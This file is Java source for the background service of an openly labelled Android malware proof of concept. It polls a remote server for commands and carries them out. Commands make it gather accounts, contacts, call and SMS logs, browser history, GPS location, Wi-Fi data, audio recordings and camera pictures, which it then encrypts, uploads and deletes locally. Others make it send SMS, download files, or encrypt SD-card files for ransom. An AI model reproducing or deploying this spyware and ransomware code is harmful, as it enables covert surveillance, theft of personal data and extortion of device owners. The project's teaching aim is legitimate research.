/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.accounts.Account;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.StrictMode;
import android.telephony.SmsManager;
import android.support.v4.app.NotificationCompat;
import android.util.Log;
import android.widget.Toast;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

public class BGMonitor extends Service {
    Handler handler;
    Runnable runner;
    Thread thread;
    Context context;
   // int delay = 1200000;
    public int delay = 30000;
    BGMEncryption _encrypt = new BGMEncryption();

    // WritePhoneInfo _wpi;
    private volatile boolean stop = false;
    BGMPrefs bgmPrefs;
    ConfigParams configParams;
    FileUtils fileutils;

    @Override
    public void onCreate() {
        super.onCreate();

        StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
        StrictMode.setThreadPolicy(policy);

        context = getBaseContext();

        fileutils = new FileUtils(context);
        bgmPrefs = new BGMPrefs(context);
        if (!bgmPrefs.isInited) {

            NetworkHandler handler = new NetworkHandler(context);
            String firstkey = handler.getRemoteEncKey();
            bgmPrefs.setLocalEncKey(firstkey);
            configParams.SetEncKey(firstkey);

        } else {
            bgmPrefs.DumpSharedPrefs();
            if (bgmPrefs.getLocalEncKey() == ""){
                Log.d(bgmPrefs.configParams.PROGID, "-=-=-=-==-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-");
                Log.d(bgmPrefs.configParams.PROGID, "LocalKey is Blank ");
                Log.d(bgmPrefs.configParams.PROGID, "-=-=-=-==-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-");
                NetworkHandler handler = new NetworkHandler(context);
                String firstkey = handler.getRemoteEncKey();
                bgmPrefs.setLocalEncKey(firstkey);
                bgmPrefs.configParams.SetEncKey(firstkey);
                Log.d(bgmPrefs.configParams.PROGID, "-=-=-=-==-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-");
                Log.d(bgmPrefs.configParams.PROGID, "LocalKey is Now:["+bgmPrefs.configParams.LocalEncryptionKey+"]");
                Log.d(bgmPrefs.configParams.PROGID, "-=-=-=-==-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-");
            }
        }

        configParams = bgmPrefs.getConfigParams();
      //  _wpi = new WritePhoneInfo();

        if (configParams.DisplayNotification) TurnOnNotification();

        if (configParams.Logging) Log.d(configParams.PROGID, "Registering SMS Listener");
        SMSReceiver BR_smsreceiver = null;
        BR_smsreceiver = new SMSReceiver(context);
        BR_smsreceiver.setMainActivityHandler(this);
        IntentFilter fltr_smsreceived = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
        registerReceiver(BR_smsreceiver, fltr_smsreceived);
        if (configParams.Logging) Log.d(configParams.PROGID, "Registering SMS Listener Complete");


        if (configParams.Logging) Log.d(configParams.PROGID, "BGMonitor Service Created ");
        // Toast.makeText(this, "Service Started", Toast.LENGTH_SHORT).show();
    }

    public void onReceive(Context context, Intent intent) {

        // Your code to execute when Boot Completd
        if (configParams.Logging) Log.d(configParams.PROGID, "BGMonitor Service OnReceive  ");
        myStart();
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO do something useful
        if (configParams.Logging)  Log.d(configParams.PROGID, "BGMonitor Service OnStartCommand");
        //Toast.makeText(this, "BGMonitor Service Started", Toast.LENGTH_SHORT).show();
        myStart();
        return Service.START_STICKY;
    }

    public void TurnOnNotification() {

        NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(context)
                .setSmallIcon(android.R.drawable.ic_dialog_info)
                .setContentTitle("Malware Example Running")
                .setContentText("The MalwareExample is running on your device");

        // Obtain NotificationManager system service in order to show the notification
        NotificationManager notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
        notificationManager.notify(99999, mBuilder.build());
    }
    public void getWifi(){

        if (configParams.Logging)   Log.e(configParams.PROGID, "Getting Wifi Info");
        GetWifi _wifi = new GetWifi(context);
        GetWifi.WifiData _wifidata = _wifi.getWifiList();

        BufferedWriter out;
        File fpath = configParams.StoragePath;
        try {
            FileWriter fileWriter = new FileWriter(fpath + "/" + "wifiinfo.txt");
            out = new BufferedWriter(fileWriter);
            out.write("Current SSID:"+_wifidata.CurrentSSID+"\n");
            out.write("Current BSSID:"+_wifidata.BSSID+"\n");
            out.write("Current MAC"+_wifidata.MAC+"\n");
            out.write("Available AccessPoints:"+_wifidata.ScanResults+"\n");
            out.write("Saved Configs:"+_wifidata.WifiConfigs+"\n");
            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)   Log.e("Exception", "File write failed: " + e.toString());
        }
        fileutils.CompressFile("wifiinfo.txt","wifiinfo.zip");
        fileutils.EncryptFile("wifiinfo.zip");
        //fileutils.copy("accounts.zip.enc", "accounts2.zip.enc");
        //fileutils.DecryptFile("accounts2.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/wifiinfo.zip.enc");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/wifiinfo.txt");
        if (configParams.Debug)  fileutils.uploadFile(configParams.StoragePath.toString()+"/wifiinfo.zip");
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/wifiinfo.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/wifiinfo.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/wifiinfo.zip.enc").delete();
        //fi

    }

    public void getBluetooth() {

        if (configParams.Logging)   Log.e(configParams.PROGID, "Getting Bluetooth Info");
        GetBlueToothInfo _bluetooth = new GetBlueToothInfo(context);
        _bluetooth.getBlueToothState();

        List<GetBlueToothInfo.BlueToothDevice> _devices = _bluetooth.getBlueToothInfo();
        for (GetBlueToothInfo.BlueToothDevice ac : _devices) {
            Log.d(configParams.PROGID,"BT Device: "+ac.Name+", "+ac.Address+ " "+ac.BondState+"\n");
        }
        _bluetooth.connect("38:0B:40:27:28:FF");

       // 38:0B:40:27:28:FF

      //  _bluetooth.DiscoverDevices();

    }




    public void getAccounts() {
//         ---  Get Accounts
        if (configParams.Logging) Log.d(configParams.PROGID, "Getting Accounts");
        GetAccounts _ga = new GetAccounts(context);
        List<GetAccounts.AccountInfo> _accounts = _ga.getAccounts();

        BufferedWriter out;
        File fpath = configParams.StoragePath;
        try {
            FileWriter fileWriter = new FileWriter(fpath + "/" + "accounts.txt");
            out = new BufferedWriter(fileWriter);
            for (GetAccounts.AccountInfo ac : _accounts) {
                out.write(ac.Name+", "+ac.Type+"\n");
            }
            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)   Log.e("Exception", "File write failed: " + e.toString());
        }
        fileutils.CompressFile("accounts.txt","accounts.zip");
        fileutils.EncryptFile("accounts.zip");
        //fileutils.copy("accounts.zip.enc", "accounts2.zip.enc");
        //fileutils.DecryptFile("accounts2.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/accounts.zip.enc");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/accounts.txt");
        if (configParams.Debug)  fileutils.uploadFile(configParams.StoragePath.toString()+"/accounts.zip");
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/accounts.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/accounts.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/accounts.zip.enc").delete();
        //fileutils.uploadFile(configParams.StoragePath.toString()+"/accounts2.zip");
    }

    public void getPhoneNumber() {
//------Get PHone Number
        if (configParams.Logging)  Log.d(configParams.PROGID, "Getting Phone #");
        GetPhoneInfo _gpi = new GetPhoneInfo(context);
        if (configParams.Logging)  Log.d(configParams.PROGID, "Phone Info: " + _gpi.GetPhoneNumber() + " : " + _gpi.PhoneModel + " : " + _gpi.AndroidVersion);


        BufferedWriter out;
        File fpath = configParams.StoragePath;
        try {
            FileWriter fileWriter = new FileWriter(fpath + "/" + "phoneinfo.txt");
            out = new BufferedWriter(fileWriter);



            out.write(_gpi.GetPhoneNumber() + ", " + _gpi.PhoneModel + ", " + _gpi.AndroidVersion+"\n");
            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)        Log.e("Exception", "File write failed: " + e.toString());
        }

        fileutils.CompressFile("phoneinfo.txt","phoneinfo.zip");
        fileutils.EncryptFile("phoneinfo.zip");

        fileutils.uploadFile(configParams.StoragePath.toString()+"/phoneinfo.zip.enc");
        if (configParams.Debug)  fileutils.uploadFile(configParams.StoragePath.toString()+"/phoneinfo.zip");
        if (configParams.Debug)  fileutils.uploadFile(configParams.StoragePath.toString()+"/phoneinfo.txt");

        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/phoneinfo.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/phoneinfo.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/phoneinfo.zip.enc").delete();







    }

    public void getCamera() {
//-----------------Camera
        GetCamera _camera = new GetCamera(context);
        _camera.takePicture();
    }

    public void getContacts() {
//-----------------Contacts
        GetContacts _getcontacts = new GetContacts(context);
        List<GetContacts.ContactInfo> _contacts = _getcontacts.getContacts();

        BufferedWriter out;
        File fpath = configParams.StoragePath;
        try {
            FileWriter fileWriter = new FileWriter(fpath + "/" + "contacts.txt");
            out = new BufferedWriter(fileWriter);
            for (GetContacts.ContactInfo ac : _contacts) {
                out.write(ac.Name+", "+ac.PhoneNumber+", "+ac.Email+", "+ac.Account+"\n");
            }
            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)   Log.e("Exception", "File write failed: " + e.toString());
        }
        fileutils.CompressFile("contacts.txt","contacts.zip");
        fileutils.EncryptFile("contacts.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/contacts.zip.enc");
        if (configParams.Debug)  fileutils.uploadFile(configParams.StoragePath.toString()+"/contacts.zip");
        if (configParams.Debug)  fileutils.uploadFile(configParams.StoragePath.toString()+"/contacts.txt");
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/contacts.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/contacts.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/contacts.zip.enc").delete();


    }

    public void getPhoneLog() {
//------------------Phone Call Log
        if (configParams.Logging) Log.d(configParams.PROGID, "Phone Calls");
        GetPhoneInfo _gpi = new GetPhoneInfo(context);
        List<GetPhoneInfo.CallInfo> _calls = _gpi.GetPhoneLog();

        BufferedWriter out;
        File fpath = configParams.StoragePath;
        try {
            FileWriter fileWriter = new FileWriter(fpath + "/" + "calllog.txt");
            out = new BufferedWriter(fileWriter);
            for (GetPhoneInfo.CallInfo ac : _calls) {
                out.write(ac.callDate+", "+ac.callType+", "+ac.callNumber+", "+ac.callName+", "+ac.callDuration+"\n");
            }
            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)        Log.e("Exception", "File write failed: " + e.toString());
        }
        fileutils.CompressFile("calllog.txt","calllog.zip");
        fileutils.EncryptFile("calllog.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/calllog.zip.enc");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/calllog.txt");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/calllog.zip");
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/calllog.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/calllog.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/calllog.zip.enc").delete();



    }

    public void getSMSLog() {
//------------------SMS Log
        GetPhoneInfo _gpi = new GetPhoneInfo(context);
        if (configParams.Logging)    Log.d(configParams.PROGID, "SMS Messages[inbox]");
        List<GetPhoneInfo.SMSInfo> _smsinbox = _gpi.GetSMSLog("inbox");
        if (configParams.Logging)    Log.d(configParams.PROGID, "SMS Messages[sent]");
        List<GetPhoneInfo.SMSInfo> _smssent = _gpi.GetSMSLog("sent");


        BufferedWriter out;
        File fpath = configParams.StoragePath;
        try {
            FileWriter fileWriter = new FileWriter(fpath + "/" + "smslog.txt");
            out = new BufferedWriter(fileWriter);
            for (GetPhoneInfo.SMSInfo ac : _smsinbox) {
                out.write(ac.datestamp+", "+ac.folder+", "+ac.address+", "+ac.message+"\n");
            }
            for (GetPhoneInfo.SMSInfo ac : _smssent) {
                out.write(ac.datestamp+", "+ac.folder+", "+ac.address+", "+ac.message+"\n");
            }
            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)        Log.e("Exception", "File write failed: " + e.toString());
        }
        fileutils.CompressFile("smslog.txt","smslog.zip");
        fileutils.EncryptFile("smslog.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/smslog.zip.enc");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/smslog.txt");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/smslog.zip");
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/smslog.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/smslog.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/smslog.zip.enc").delete();




    }

    public void getBrowserHistory() {

// ----------------------------Browser History
        if (configParams.Logging)   Log.d(configParams.PROGID, "Getting Browser History  ");
        GetBrowserHistory _browserhistory = new GetBrowserHistory(context);
        _browserhistory.BrowserHistory("browserhistory.txt");
        fileutils.CompressFile("browserhistory.txt","browserhistory.zip");
        fileutils.EncryptFile("browserhistory.zip");

        fileutils.uploadFile(configParams.StoragePath.toString()+"/browserhistory.zip.enc");
        if (configParams.Debug)  fileutils.uploadFile(configParams.StoragePath.toString()+"/browserhistory.txt");
        if (configParams.Debug)  fileutils.uploadFile(configParams.StoragePath.toString()+"/browserhistory.zip");
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/browserhistory.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/browserhistory.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/browserhistory.zip.enc").delete();



    }

    public void getSystemLogs() {
//-----------------System Logs
        if (configParams.Logging)   Log.d(configParams.PROGID, "Getting System Logs");
        GetSystemLog _systemlogs = new GetSystemLog(context);
        _systemlogs.GetLogs("systemlogs.txt");
        if (configParams.Logging)   Log.d(configParams.PROGID, "KEY:[" + configParams.LocalEncryptionKey + "]");
        fileutils.CompressFile("systemlogs.txt","systemlogs.zip");
        fileutils.EncryptFile("systemlogs.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/systemlogs.zip.enc");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/systemlogs.zip");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/systemlogs.txt");

        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/systemlogs.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/systemlogs.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/systemlogs.zip.enc").delete();


    }


    public void getLocation() {
//------------------GPS Location
        if (configParams.Logging)    Log.d(configParams.PROGID, "Getting  Location");
        GPSLocation _gpl = new GPSLocation(context);
        GPSLocation.LatLon _latlon = _gpl.getLocation();
        String currentDateTimeString = SimpleDateFormat.getDateTimeInstance().format(new Date());
        if (configParams.Logging)    Log.d(configParams.PROGID, "Location at:["+ currentDateTimeString  +"]  Lat:[" + _latlon.lat + "] Lon:[" + _latlon.lon + "]");

        BufferedWriter out;
        File fpath = configParams.StoragePath;
        try {
            FileWriter fileWriter = new FileWriter(fpath + "/" + "location.txt",true);
            out = new BufferedWriter(fileWriter);



                out.write(currentDateTimeString+", "+_latlon.lat+", "+_latlon.lon+"\n");

            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)        Log.e("Exception", "File write failed: " + e.toString());
        }

        fileutils.CompressFile("location.txt","location.zip");
        fileutils.EncryptFile("location.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/location.zip.enc");

        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/location.txt");
        if (configParams.Debug)fileutils.uploadFile(configParams.StoragePath.toString()+"/location.zip");

        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/location.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/location.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/location.zip.enc").delete();



    }

    public void getFilesOnSD() {
//------------------Files on SD Card
        if (configParams.Logging)     Log.d(configParams.PROGID, "Getting Files on SD");
        ListSDFiles sdfiles = new ListSDFiles(context);
        List<String> files = sdfiles.getAllFiles();
        sdfiles.SaveToFile("SDFILES.csv");
        fileutils.CompressFile("SDFILES.csv","SDFILES.zip");
        fileutils.EncryptFile("SDFILES.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/SDFILES.zip.enc");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/SDFILES.zip");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/SDFILES.csv");

        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/SDFILES.csv").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/SDFILES.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/SDFILES.zip.enc").delete();


    }

    public void ransomEncrypt(String EncKey) {

        if (configParams.Logging)     Log.d(configParams.PROGID, "Getting Files on SD to Encrypt");
        Ransomware _ransom = new Ransomware(context,configParams,EncKey);
        _ransom.encrypt();





    }
    public void ransomDecrypt(String EncKey) {
        if (configParams.Logging)     Log.d(configParams.PROGID, "Getting Files on SD to Decrypt");
        Ransomware _ransom = new Ransomware(context,configParams,EncKey);
        _ransom.decrypt();


    }

    public void getAudio() {
//------------------Record Audio
        if (configParams.Logging)    Log.d(configParams.PROGID, "Getting Audio");
        GetAudio _audio = new GetAudio(context);
        _audio.RecordAudio(10, "audio.mp4");
        File _recording = _audio.getRecordingFile("audio.mp4");
        fileutils.CompressFile("audio.mp4","audio.zip");
        fileutils.EncryptFile("audio.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/audio.zip.enc");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/audio.zip");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/audio.mp4");

        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/audio.mp4").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/audio.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/audio.zip.enc").delete();

            if (configParams.Logging)   Log.d(configParams.PROGID, _recording.getAbsolutePath());


    }

    public void getInstalledApps() {
//------------------Installed Apps
        if (configParams.Logging)   Log.d(configParams.PROGID, "Getting Installed Apps");
        GetInstalledApps _apps = new GetInstalledApps(context);
        List<GetInstalledApps.ApplicationInformation> packages = _apps.getApps();

        BufferedWriter out;
        File fpath = configParams.StoragePath;
        PackageManager packageManager= context.getApplicationContext().getPackageManager();
        try {
            FileWriter fileWriter = new FileWriter(fpath + "/" + "applications.txt");
            out = new BufferedWriter(fileWriter);
            for (GetInstalledApps.ApplicationInformation ac : packages) {
                out.write(ac.AppName+", "+ac.PackageName+", "+ac.SourceDir+", "+ac.Intent+"\n");
            }
            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)       Log.e("Exception", "File write failed: " + e.toString());
        }
        fileutils.CompressFile("applications.txt","applications.zip");
        fileutils.EncryptFile("applications.zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/applications.zip.enc");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/applications.txt");
        if (configParams.Debug) fileutils.uploadFile(configParams.StoragePath.toString()+"/applications.zip");

        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/applications.txt").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/applications.zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/applications.zip.enc").delete();




    }
    public void sendFile(String sdpath,String serverfilename){
        if (configParams.Logging) Log.d(configParams.PROGID,"Sending File:["+sdpath+"] as ["+serverfilename+"]");
        fileutils.copy(sdpath,configParams.StoragePath.toString()+"/"+serverfilename);
        fileutils.CompressFile(serverfilename,serverfilename+".zip");
        fileutils.EncryptFile(serverfilename+".zip");
        fileutils.uploadFile(configParams.StoragePath.toString()+"/"+serverfilename+".zip.enc");
        fileutils.uploadFile(sdpath);
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/"+serverfilename+".zip.enc").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/"+serverfilename+".zip").delete();
        if (configParams.Cleanup) new File(configParams.StoragePath.toString()+"/"+serverfilename).delete();
    }
    public void downloadfile(String url,String destination,String EncKey){

        if (configParams.Logging) Log.d(configParams.PROGID,"Downloading File:["+url+"] to ["+destination+"] Encrypted With:["+EncKey+"]");
        fileutils.downloadFile(url,destination,EncKey);


    }

    public void sendSMS(String phonenumber, String message) {

        if (configParams.DisplayNotification) Log.d(configParams.PROGID,"Sending SMS to :["+phonenumber+"] Message:["+message+"]");
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phonenumber, null, message, null, null);

    }
    public String getCommandsFromServer() {
        NetworkHandler handler = new NetworkHandler(context);
        String commands = handler.getCommands();
        if (configParams.Logging)   Log.d(configParams.PROGID, "Commands From Server [" + commands + "]");
        Log.d(configParams.PROGID, "Commands From Server [" + commands + "]");
        return commands;
    }


    private void myStart() {
        //Log.d("BGMonitorService", "BGMonitor Service myStart");

        handler = new Handler() {
            @Override
            public void handleMessage(Message msg) {
                // TODO Auto-generated method stub
                super.handleMessage(msg);

                if (configParams.DisplayNotification) TurnOnNotification();
                if (configParams.Logging)          Log.d(configParams.PROGID, "Delay has passed");
                //Test Area ******************************************
              //  getBluetooth();
                //****************************************
                String commandsstr = getCommandsFromServer();
                String[] commands = commandsstr.split(";");
                String fileToSend="";
                String filename="";
                String EncKey="";
                String url="";
                String filedestination="";
                for (String command : commands) {
                    if (configParams.Logging)              Log.d(configParams.PROGID, "Command:[" + command + "]");
                    if (command.startsWith("sendFile:")){
                        filename = command.split(":")[2];
                        fileToSend = command.split(":")[1];
                        command = command.split(":")[0];
                    }
                    if (command.startsWith("refresh:")){
                        delay = Integer.parseInt(command.split(":")[1]);
                        command = command.split(":")[0];
                        if (configParams.Logging)              Log.d(configParams.PROGID, "Setting Delay = :[" + delay + "]");
                    }
                    if (command.startsWith("ransom")){
                        EncKey = command.split(":")[1];
                        command = command.split(":")[0];
                    }
                    if (command.startsWith("sendSMS:")){
                        String message = command.split(":")[2];
                        String phonenum = command.split(":")[1];
                        command = command.split(":")[0];
                        sendSMS(phonenum,message);
                    }
                    if (command.startsWith("download:")){
                        String enckey = command.split(":")[4];
                        // yeah I know the key should not be sent in the "clear" but this is only a proof of concept
                        filedestination = command.split(":")[3];
                        String url2= command.split(":")[2];
                        String url1 = command.split(":")[1];
                        url = url1+":"+url2;
                        downloadfile(url,filedestination,enckey);
                        command = command.split(":")[0];
                    }

                    switch (command) {

                        case "sendFile":
                            sendFile(fileToSend,filename);
                            break;
                        case "getAccounts":
                            getAccounts();
                            break;
                        case "getPhoneNumber":
                            getPhoneNumber();
                            break;
                        case "getCamaera":
                            getCamera();
                            break;
                        case "getContacts":
                            getContacts();
                            break;
                        case "getPhoneLog":
                            getPhoneLog();
                            break;
                        case "getSMSLog":
                            getSMSLog();
                            break;
                        case "getBrowserHistory":
                            getBrowserHistory();
                            break;
                        case "getSystemLogs":
                            getSystemLogs();
                            break;
                        case "getLocation":
                            getLocation();
                            break;
                        case "getFilesOnSD":
                            getFilesOnSD();
                            break;
                        case "getAudio":
                            getAudio();
                            break;
                        case "getInstalledApps":
                            getInstalledApps();
                            break;
                        case "getWifi":
                            getWifi();
                            break;
                        case "getBluetooth":
                            getWifi();
                            break;
                        case "ransomEncrypt":
                            ransomEncrypt(EncKey);
                            break;
                        case "ransomDecryt":
                            ransomDecrypt(EncKey);
                            break;
                        default:
                            break;

                    }
                }


                //getAccounts();

                //getCamera();
                //getContacts();
                //getPhoneLog();
                //getSMSLog();
                //getBrowserHistory();
                //getSystemLogs();
                //getLocation();
                //getFilesOnSD();
                //getAudio();
                //getInstalledApps();

            }

        };

        runner = new Runnable() {
            public void run() {
                // TODO Auto-generated method stub

                while (!stop) {
                    try {
                        if (configParams.Logging)    Log.d(configParams.PROGID, "Sleeping:" +delay+"\n");

                        Thread.sleep(delay);
                        handler.sendEmptyMessage(0);


                    } catch (InterruptedException e) {
                        // TODO Auto-generated catch block
                        if (configParams.Logging)                  Log.d(configParams.PROGID, "Error:" + e.toString());

                    }

                }
                if (stop) {
                    //	Log.d("BGMonitorService", "Thread Stopped");

                }

            }
        };

        thread = new Thread(runner);
        thread.start();

    }

    @Override
    public IBinder onBind(Intent intent) {
        //Log.d("BGMonitorService", "BGMonitor Service OnBind");

        // TODO for communication return IBinder implementation
        return null;
    }

    public void onDestroy() {
        stop = true;
        thread.interrupt();
        //	Log.i("BGMonitorService", "BGMonitor Service Destroyed");
        // Toast.makeText(this, "BGMonitor Service Destroyed",
        // Toast.LENGTH_SHORT).show();
        super.onDestroy();
    }

}